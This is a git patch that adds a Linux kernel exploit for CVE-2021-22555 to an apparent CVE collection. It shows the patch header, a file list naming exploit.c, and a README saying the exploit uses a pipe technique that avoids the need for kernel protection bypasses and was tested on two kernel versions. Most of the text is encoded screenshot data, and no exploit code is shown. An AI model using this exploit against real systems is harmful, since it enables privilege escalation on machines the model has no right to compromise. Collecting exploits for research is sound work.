From a6e1ebdaf5142ce1feb4c29f2434b8addeb80d04 Mon Sep 17 00:00:00 2001 From: yangjipeng Date: Fri, 21 Oct 2022 16:18:26 +0800 Subject: [PATCH 1/5] ADD CVE-2021-22555 --- .../2021/CVE-2021-22555/README.md | 11 + .../CVE-2021-22555/assets/tested_on_4.15.png | Bin 0 -> 22456 bytes .../CVE-2021-22555/assets/tested_on_5.8.png | Bin 0 -> 22179 bytes .../2021/CVE-2021-22555/exploit.c | 608 ++++++++++++++++++ cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml | 20 + vulnerability_list.yaml | 1 + 6 files changed, 640 insertions(+) create mode 100644 cve/linux-kernel/2021/CVE-2021-22555/README.md create mode 100644 cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png create mode 100644 cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_5.8.png create mode 100644 cve/linux-kernel/2021/CVE-2021-22555/exploit.c create mode 100644 cve/linux-kernel/2021/yaml/CVE-2022-0185.yaml diff --git a/cve/linux-kernel/2021/CVE-2021-22555/README.md b/cve/linux-kernel/2021/CVE-2021-22555/README.md new file mode 100644 index 00000000..f41fadd4 --- /dev/null +++ b/cve/linux-kernel/2021/CVE-2021-22555/README.md @@ -0,0 +1,11 @@ +# CVE-2021-22555 pipe version + +Using pipe-primitive to exploit CVE-2021-22555, so no kaslr leak nor smap smep ktpi bypass is needed :) + +(Q: What is pipe-primitive? A: https://github.com/veritas501/pipe-primitive) + +Tested on both Linux 4.15 and Linux 5.8 + +![](assets/tested_on_4.15.png) + +![](assets/tested_on_5.8.png) diff --git a/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png b/cve/linux-kernel/2021/CVE-2021-22555/assets/tested_on_4.15.png new file mode 100644 index 0000000000000000000000000000000000000000..94ecdc12b851e19d10bb36cc4a71dca864222069 GIT binary patch literal 22456 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 